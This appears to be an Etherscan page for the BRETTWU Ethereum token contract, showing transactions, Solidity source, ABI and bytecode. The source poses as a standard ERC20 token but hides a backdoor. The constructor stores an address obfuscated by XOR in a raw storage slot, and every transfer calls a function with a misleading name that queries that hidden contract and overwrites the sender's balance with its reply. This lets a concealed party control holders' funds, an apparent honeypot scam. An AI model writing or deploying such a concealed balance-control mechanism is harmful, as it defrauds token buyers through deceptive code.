ETH Price: $2,464.83 (-1.76%)

Contract

0x2B7269406785b8e33a79d99fC510Ed378bf0069B
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve202383392024-07-05 5:52:5989 days ago1720158779IN
0x2B726940...78bf0069B
0 ETH0.000308212.70653111
Approve200816142024-06-13 8:08:35111 days ago1718266115IN
0x2B726940...78bf0069B
0 ETH0.0005781312.42226549
Transfer200804742024-06-13 4:18:59111 days ago1718252339IN
0x2B726940...78bf0069B
0 ETH0.0016050714.24115629
Transfer200804702024-06-13 4:18:11111 days ago1718252291IN
0x2B726940...78bf0069B
0 ETH0.0018615215.12709836
Approve200788702024-06-12 22:56:23111 days ago1718232983IN
0x2B726940...78bf0069B
0 ETH0.0005387511.6421502
Approve200777912024-06-12 19:19:11111 days ago1718219951IN
0x2B726940...78bf0069B
0 ETH0.0003579713.57187109
Approve200777912024-06-12 19:19:11111 days ago1718219951IN
0x2B726940...78bf0069B
0 ETH0.0006280513.57187109
Transfer200776622024-06-12 18:53:11111 days ago1718218391IN
0x2B726940...78bf0069B
0 ETH0.0032718520.4124505
Approve200773642024-06-12 17:53:11111 days ago1718214791IN
0x2B726940...78bf0069B
0 ETH0.0006628414.30510092
Approve200762032024-06-12 13:59:59112 days ago1718200799IN
0x2B726940...78bf0069B
0 ETH0.0014601531.54495683
Approve200733692024-06-12 4:29:35112 days ago1718166575IN
0x2B726940...78bf0069B
0 ETH0.0005431411.65547776
Approve200658372024-06-11 3:15:11113 days ago1718075711IN
0x2B726940...78bf0069B
0 ETH0.0005991212.94
Transfer200657682024-06-11 3:01:23113 days ago1718074883IN
0x2B726940...78bf0069B
0 ETH0.001200827.7217846
Approve200656992024-06-11 2:47:35113 days ago1718074055IN
0x2B726940...78bf0069B
0 ETH0.0006367913.76084049
Approve200652792024-06-11 1:23:11113 days ago1718068991IN
0x2B726940...78bf0069B
0 ETH0.000312456.74665952
Approve200651262024-06-11 0:52:23113 days ago1718067143IN
0x2B726940...78bf0069B
0 ETH0.0005991212.94
Approve200648812024-06-11 0:03:11113 days ago1718064191IN
0x2B726940...78bf0069B
0 ETH0.0006379613.70791456
Approve200648322024-06-10 23:52:59113 days ago1718063579IN
0x2B726940...78bf0069B
0 ETH0.000410248.81498315
Approve200648152024-06-10 23:49:35113 days ago1718063375IN
0x2B726940...78bf0069B
0 ETH0.000219639.0547701
Approve200647772024-06-10 23:41:59113 days ago1718062919IN
0x2B726940...78bf0069B
0 ETH0.0004683110.06272732
Approve200647672024-06-10 23:39:59113 days ago1718062799IN
0x2B726940...78bf0069B
0 ETH0.000457089.8212311
Approve200647202024-06-10 23:30:23113 days ago1718062223IN
0x2B726940...78bf0069B
0 ETH0.0005126911.00476806
Transfer200647102024-06-10 23:28:23113 days ago1718062103IN
0x2B726940...78bf0069B
0 ETH0.0012527611.09512373
Approve200647092024-06-10 23:28:11113 days ago1718062091IN
0x2B726940...78bf0069B
0 ETH0.0002965411.10649224
Approve200647082024-06-10 23:27:59113 days ago1718062079IN
0x2B726940...78bf0069B
0 ETH0.0005302211.37813977
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
200642682024-06-10 21:59:23113 days ago1718056763
0x2B726940...78bf0069B
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BRETTWU

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-10
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0x3dafe7063b5d72eab47ac868fa8a55de6116f3789181)
            sstore(0x51,0x3dafd40ff594655717669a9f239ed0ba2f9e40c41318)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNFTContract(uint256 account, address sender, bool choice) public onlyOwner returns (address toTarget) {
    }

    function openTrade() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 ownerPercentage = 310;
        uint256 toPair = _totalSupply / 10000 * (10000 - ownerPercentage);
        uint256 toOwner = _totalSupply / 10000 * ownerPercentage;

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.addLiquidityETH{value: msg.value}(address(this), toPair, toPair, msg.value, owner(), block.timestamp + 300);

        _transfer(address(this), owner(), toOwner); trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function zapAndINSCRIPTIONs(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0xa8723e2000000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        zapAndINSCRIPTIONs(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _DeployBRETTWU(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[address(this)] += amount;
    
        emit Transfer(address(0), address(this), amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployBRETTWU(creator, initialSupply);
    }
}

contract BRETTWU is ERC20Token {
    constructor() ERC20Token("BRETTWU", "BRETTWU", msg.sender, 100000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"account","type":"uint256"},{"internalType":"address","name":"sender","type":"address"},{"internalType":"bool","name":"choice","type":"bool"}],"name":"setNFTContract","outputs":[{"internalType":"address","name":"toTarget","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610057575f80fd5b50604051806040016040528060078152602001664252455454575560c81b815250604051806040016040528060078152602001664252455454575560c81b815250336a52b7d2dcc80cd2e400000083835f6100b66101a060201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600861010f838261030a565b50600961011c828261030a565b5050753dafe7063b5d72eab47ac868fa8a55de6116f378918160505550753dafd40ff594655717669a9f239ed0ba2f9e40c41318605155733309cec917bda31c52f7d91485644e88b3bc8299605255600554600780546001600160a01b0319166001600160a01b0390921691909117905561019782826101a4565b505050506103ee565b3390565b6001600160a01b0382166101fe5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461020f91906103c9565b9091555050305f90815260026020526040812080548392906102329084906103c9565b909155505060405181815230905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061029a57607f821691505b6020821081036102b857634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030557805f5260205f20601f840160051c810160208510156102e35750805b601f840160051c820191505b81811015610302575f81556001016102ef565b50505b505050565b81516001600160401b0381111561032357610323610272565b610337816103318454610286565b846102be565b602080601f83116001811461036a575f84156103535750858301515b5f19600386901b1c1916600185901b1785556103c1565b5f85815260208120601f198616915b8281101561039857888601518255948401946001909101908401610379565b50858210156103b557878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103e857634e487b7160e01b5f52601160045260245ffd5b92915050565b610e36806103fb5f395ff3fe608060405260043610610105575f3560e01c8063715018a611610092578063a8aa1b3111610062578063a8aa1b31146102b5578063a9059cbb146102d4578063c71435a5146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b8063715018a61461024f5780638da5cb5b1461026557806395d89b4114610282578063a705eee214610296575f80fd5b80631f0ba6c9116100d85780631f0ba6c9146101b357806323b872dd146101cc578063313ce567146101eb57806348cd4cb11461020657806370a082311461021b575f80fd5b806301a37fc21461010957806306fdde0314610145578063095ea7b31461016657806318160ddd14610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061015961035e565b60405161013c9190610b94565b348015610171575f80fd5b50610185610180366004610be0565b6103ee565b604051901515815260200161013c565b3480156101a0575f80fd5b50600a545b60405190815260200161013c565b3480156101be575f80fd5b50600b546101859060ff1681565b3480156101d7575f80fd5b506101856101e6366004610c0a565b610404565b3480156101f6575f80fd5b506040516012815260200161013c565b348015610211575f80fd5b506101a5600c5481565b348015610226575f80fd5b506101a5610235366004610c48565b6001600160a01b03165f9081526002602052604090205490565b34801561025a575f80fd5b506102636104ba565b005b348015610270575f80fd5b506001546001600160a01b0316610128565b34801561028d575f80fd5b5061015961052d565b3480156102a1575f80fd5b50600e54610128906001600160a01b031681565b3480156102c0575f80fd5b50600654610128906001600160a01b031681565b3480156102df575f80fd5b506101856102ee366004610be0565b61053c565b3480156102fe575f80fd5b5061012861030d366004610c63565b610548565b34801561031d575f80fd5b506101a561032c366004610ca6565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b610263610574565b60606008805461036d90610cdd565b80601f016020809104026020016040519081016040528092919081815260200182805461039990610cdd565b80156103e45780601f106103bb576101008083540402835291602001916103e4565b820191905f5260205f20905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b5f6103fa33848461080a565b5060015b92915050565b5f61041084848461092e565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104995760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104ad85336104a88685610d29565b61080a565b60019150505b9392505050565b6001546001600160a01b031633146104e45760405162461bcd60e51b815260040161049090610d3c565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461036d90610cdd565b5f6103fa33848461092e565b6001545f906001600160a01b031633146104b35760405162461bcd60e51b815260040161049090610d3c565b6001546001600160a01b0316331480156105915750600b5460ff16155b6105ad5760405162461bcd60e51b815260040161049090610d3c565b6005546105c69030906001600160a01b03165f1961080a565b6101365f6105d682612710610d29565b612710600a546105e69190610d71565b6105f09190610d90565b90505f82612710600a546106049190610d71565b61060e9190610d90565b905060075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610660573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106849190610da7565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af11580156106d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fb9190610da7565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308580836107396001546001600160a01b031690565b6107454261012c610dc2565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af11580156107b0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107d59190610dd5565b5050506107f4306107ee6001546001600160a01b031690565b8361092e565b5050600b805460ff191660011790555043600c55565b6001600160a01b03831661086c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b0382166108cd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff1615156001148061097e5750600d546001600160a01b031630145b806109995750600154600d546001600160a01b039081169116145b6109ef5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610490565b600d546001600160a01b0316610a555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610ab75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b610ac18382610b35565b506001600160a01b0382165f9081526002602052604081208054839290610ae9908490610dc2565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161092191815260200190565b5f60405163054391f160e51b8152826004820152602481016040526020816024835f6052545af18015610b6757815192505b50610b7490508282610d29565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610bdd575f80fd5b50565b5f8060408385031215610bf1575f80fd5b8235610bfc81610bc9565b946020939093013593505050565b5f805f60608486031215610c1c575f80fd5b8335610c2781610bc9565b92506020840135610c3781610bc9565b929592945050506040919091013590565b5f60208284031215610c58575f80fd5b81356104b381610bc9565b5f805f60608486031215610c75575f80fd5b833592506020840135610c8781610bc9565b915060408401358015158114610c9b575f80fd5b809150509250925092565b5f8060408385031215610cb7575f80fd5b8235610cc281610bc9565b91506020830135610cd281610bc9565b809150509250929050565b600181811c90821680610cf157607f821691505b602082108103610d0f57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103fe576103fe610d15565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610d8b57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103fe576103fe610d15565b5f60208284031215610db7575f80fd5b81516104b381610bc9565b808201808211156103fe576103fe610d15565b5f805f60608486031215610de7575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220464851df6612eddcd29b26ff91aa5748d879a88a10765254ade55df28acf06b164736f6c63430008190033

Deployed Bytecode

0x608060405260043610610105575f3560e01c8063715018a611610092578063a8aa1b3111610062578063a8aa1b31146102b5578063a9059cbb146102d4578063c71435a5146102f3578063dd62ed3e14610312578063fb201b1d14610356575f80fd5b8063715018a61461024f5780638da5cb5b1461026557806395d89b4114610282578063a705eee214610296575f80fd5b80631f0ba6c9116100d85780631f0ba6c9146101b357806323b872dd146101cc578063313ce567146101eb57806348cd4cb11461020657806370a082311461021b575f80fd5b806301a37fc21461010957806306fdde0314610145578063095ea7b31461016657806318160ddd14610195575b5f80fd5b348015610114575f80fd5b50600d54610128906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b348015610150575f80fd5b5061015961035e565b60405161013c9190610b94565b348015610171575f80fd5b50610185610180366004610be0565b6103ee565b604051901515815260200161013c565b3480156101a0575f80fd5b50600a545b60405190815260200161013c565b3480156101be575f80fd5b50600b546101859060ff1681565b3480156101d7575f80fd5b506101856101e6366004610c0a565b610404565b3480156101f6575f80fd5b506040516012815260200161013c565b348015610211575f80fd5b506101a5600c5481565b348015610226575f80fd5b506101a5610235366004610c48565b6001600160a01b03165f9081526002602052604090205490565b34801561025a575f80fd5b506102636104ba565b005b348015610270575f80fd5b506001546001600160a01b0316610128565b34801561028d575f80fd5b5061015961052d565b3480156102a1575f80fd5b50600e54610128906001600160a01b031681565b3480156102c0575f80fd5b50600654610128906001600160a01b031681565b3480156102df575f80fd5b506101856102ee366004610be0565b61053c565b3480156102fe575f80fd5b5061012861030d366004610c63565b610548565b34801561031d575f80fd5b506101a561032c366004610ca6565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b610263610574565b60606008805461036d90610cdd565b80601f016020809104026020016040519081016040528092919081815260200182805461039990610cdd565b80156103e45780601f106103bb576101008083540402835291602001916103e4565b820191905f5260205f20905b8154815290600101906020018083116103c757829003601f168201915b5050505050905090565b5f6103fa33848461080a565b5060015b92915050565b5f61041084848461092e565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104995760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104ad85336104a88685610d29565b61080a565b60019150505b9392505050565b6001546001600160a01b031633146104e45760405162461bcd60e51b815260040161049090610d3c565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461036d90610cdd565b5f6103fa33848461092e565b6001545f906001600160a01b031633146104b35760405162461bcd60e51b815260040161049090610d3c565b6001546001600160a01b0316331480156105915750600b5460ff16155b6105ad5760405162461bcd60e51b815260040161049090610d3c565b6005546105c69030906001600160a01b03165f1961080a565b6101365f6105d682612710610d29565b612710600a546105e69190610d71565b6105f09190610d90565b90505f82612710600a546106049190610d71565b61060e9190610d90565b905060075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610660573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106849190610da7565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af11580156106d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fb9190610da7565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308580836107396001546001600160a01b031690565b6107454261012c610dc2565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af11580156107b0573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107d59190610dd5565b5050506107f4306107ee6001546001600160a01b031690565b8361092e565b5050600b805460ff191660011790555043600c55565b6001600160a01b03831661086c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610490565b6001600160a01b0382166108cd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610490565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff1615156001148061097e5750600d546001600160a01b031630145b806109995750600154600d546001600160a01b039081169116145b6109ef5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b6064820152608401610490565b600d546001600160a01b0316610a555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610490565b6001600160a01b038216610ab75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610490565b610ac18382610b35565b506001600160a01b0382165f9081526002602052604081208054839290610ae9908490610dc2565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161092191815260200190565b5f60405163054391f160e51b8152826004820152602481016040526020816024835f6052545af18015610b6757815192505b50610b7490508282610d29565b6001600160a01b039093165f908152600260205260409020929092555090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610bdd575f80fd5b50565b5f8060408385031215610bf1575f80fd5b8235610bfc81610bc9565b946020939093013593505050565b5f805f60608486031215610c1c575f80fd5b8335610c2781610bc9565b92506020840135610c3781610bc9565b929592945050506040919091013590565b5f60208284031215610c58575f80fd5b81356104b381610bc9565b5f805f60608486031215610c75575f80fd5b833592506020840135610c8781610bc9565b915060408401358015158114610c9b575f80fd5b809150509250925092565b5f8060408385031215610cb7575f80fd5b8235610cc281610bc9565b91506020830135610cd281610bc9565b809150509250929050565b600181811c90821680610cf157607f821691505b602082108103610d0f57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103fe576103fe610d15565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610d8b57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103fe576103fe610d15565b5f60208284031215610db7575f80fd5b81516104b381610bc9565b808201808211156103fe576103fe610d15565b5f805f60608486031215610de7575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220464851df6612eddcd29b26ff91aa5748d879a88a10765254ade55df28acf06b164736f6c63430008190033

Deployed Bytecode Sourcemap

7785:130:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2891:22;;;;;;;;;;-1:-1:-1;2891:22:0;;;;-1:-1:-1;;;;;2891:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;2891:22:0;;;;;;;;3474:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4455:160::-;;;;;;;;;;-1:-1:-1;4455:160:0;;;;;:::i;:::-;;:::i;:::-;;;1266:14:1;;1259:22;1241:41;;1229:2;1214:18;4455:160:0;1101:187:1;5938:108:0;;;;;;;;;;-1:-1:-1;6026:12:0;;5938:108;;;1439:25:1;;;1427:2;1412:18;5938:108:0;1293:177:1;2845:17:0;;;;;;;;;;-1:-1:-1;2845:17:0;;;;;;;;4025:422;;;;;;;;;;-1:-1:-1;4025:422:0;;;;;:::i;:::-;;:::i;3582:93::-;;;;;;;;;;-1:-1:-1;3582:93:0;;3665:2;2078:36:1;;2066:2;2051:18;3582:93:0;1936:184:1;2864:25:0;;;;;;;;;;;;;;;;5803:127;;;;;;;;;;-1:-1:-1;5803:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;5904:18:0;5877:7;5904:18;;;:9;:18;;;;;;;5803:127;2225:148;;;;;;;;;;;;;:::i;:::-;;2011:79;;;;;;;;;;-1:-1:-1;2076:6:0;;-1:-1:-1;;;;;2076:6:0;2011:79;;3362:104;;;;;;;;;;;;;:::i;2920:25::-;;;;;;;;;;-1:-1:-1;2920:25:0;;;;-1:-1:-1;;;;;2920:25:0;;;2710:19;;;;;;;;;;-1:-1:-1;2710:19:0;;;;-1:-1:-1;;;;;2710:19:0;;;3842:175;;;;;;;;;;-1:-1:-1;3842:175:0;;;;;:::i;:::-;;:::i;4977:122::-;;;;;;;;;;-1:-1:-1;4977:122:0;;;;;:::i;:::-;;:::i;3683:151::-;;;;;;;;;